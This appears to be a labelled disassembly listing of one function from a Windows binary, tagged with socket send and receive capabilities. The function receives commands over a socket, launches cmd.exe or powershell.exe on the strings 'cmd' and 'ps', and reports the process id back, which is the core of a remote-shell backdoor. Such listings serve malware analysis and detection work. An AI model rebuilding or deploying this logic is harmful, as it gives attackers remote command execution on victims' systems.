Function at 0x401510
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4031d6
mov eax, dword fs:[0]
push eax
sub esp, 0x45c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call fcn.00401270
test al, al
jne 0x401574
mov dword [ebp - 0x434], 4
mov dword [ebp - 0x430], 0
nop word [eax + eax]
lea ecx, [ebp - 0x434]
call fcn.00401d20
call fcn.00401270
test al, al
je 0x401560
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Done
push 0x401cf0
call fcn.00401ad0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 0
push 0x400
lea eax, [ebp - 0x410]
push eax
push dword [0x406440]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jne 0x4015e8
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Error_receiving_data
push 0x401cf0
call fcn.00401ad0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push dword [0x406440]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 5
push str.Error
jmp 0x4015f0
push eax
lea eax, [ebp - 0x410]
push eax
xorps xmm0, xmm0
mov dword [ebp - 0x418], 0
lea ecx, [ebp - 0x428]
mov dword [ebp - 0x414], 0
movups xmmword [ebp - 0x428], xmm0
call fcn.00401e40
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x428]
mov edi, dword [ebp - 0x414]
cmp edi, 0xf
mov esi, dword [ebp - 0x428]
mov edx, dword [ebp - 0x418]
cmova ecx, esi
mov dword [ebp - 0x468], esi
cmp edx, 3
jne 0x401668
cmp word [ecx], 0x6d63
jne 0x401668
cmp byte [ecx + 2], 0x64
jne 0x401668
mov ecx, str.cmd.exe
call fcn.004013e0
mov dword [ebp - 0x42c], eax
jmp 0x40169b
cmp edi, 0xf
lea eax, [ebp - 0x428]
cmova eax, esi
cmp edx, 2
jne 0x401695
mov ecx, 0x7370
cmp word [eax], cx
jne 0x401695
mov ecx, str.powershell.exe
call fcn.004013e0
mov dword [ebp - 0x42c], eax
jmp 0x40169b
mov eax, dword [ebp - 0x42c]
test eax, eax
je 0x4018d0
mov edx, eax
lea ecx, [ebp - 0x464]
call fcn.00401970
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x450]
mov eax, ecx
mov edx, dword [ebp - 0x454]
sub eax, edx
cmp eax, 0x14
jb 0x40175c
cmp ecx, 0xf
lea esi, [ebp - 0x464]
lea eax, [edx + 0x14]
cmova esi, dword [ebp - 0x464]
mov dword [ebp - 0x454], eax
cmp esi, 0x4042ec
jae 0x40170e
lea eax, [esi + edx]
cmp eax, str.Procces_start__Id__
jb 0x40170e
cmp esi, str.Procces_start__Id__
ja 0x401704
xor edi, edi
jmp 0x401713
mov edi, esi
sub edi, str.Procces_start__Id__
jmp 0x401713
mov edi, 0x14
lea eax, [edx + 1]
push eax
lea ecx, [esi + 0x14]
push esi
push ecx
call sub.VCRUNTIME140.dll_memmove
push edi
push str.Procces_start__Id__
push esi
call sub.VCRUNTIME140.dll_memcpy
mov eax, 0x14
sub eax, edi
push eax
lea eax, [edi + 0x4042ec]
push eax
lea eax, [esi + edi]
push eax
call sub.VCRUNTIME140.dll_memcpy
mov esi, dword [ebp - 0x468]
lea eax, [ebp - 0x464]
mov edi, dword [ebp - 0x414]
add esp, 0x24
jmp 0x40177b
push 0x14
sub esp, 8
mov byte [ebp - 0x430], 0
lea ecx, [ebp - 0x464]
push dword [ebp - 0x430]
push 0x14
call fcn.00401fe0
mov dword [ebp - 0x43c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x44c], xmm0
mov dword [ebp - 0x438], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x44c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x43c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 2
lea eax, [ebp - 0x44c]
cmp dword [ebp - 0x438], 0xf
push 0
push dword [ebp - 0x43c]
cmova eax, dword [ebp - 0x44c]
push eax
push dword [0x406440]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x401822
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Error_sending_data
push 0x401cf0
call fcn.00401ad0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push dword [0x406440]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x438]
cmp ecx, 0xf
jbe 0x401860
mov edx, dword [ebp - 0x44c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401856
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40190c
push ecx
push edx
call fcn.00402167
add esp, 8
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x450]
mov dword [ebp - 0x43c], 0
mov dword [ebp - 0x438], 0xf
mov byte [ebp - 0x44c], 0
cmp ecx, 0xf
jbe 0x4018b5
mov edx, dword [ebp - 0x464]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4018ab
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40190c
push ecx
push edx
call fcn.00402167
add esp, 8
mov dword [ebp - 0x454], 0
mov dword [ebp - 0x450], 0xf
mov byte [ebp - 0x464], 0
mov dword [ebp - 4], 0xffffffff
cmp edi, 0xf
jbe 0x401591
lea ecx, [edi + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x4018fd
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40190c
push ecx
push esi
call fcn.00402167
add esp, 8
jmp 0x401591
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3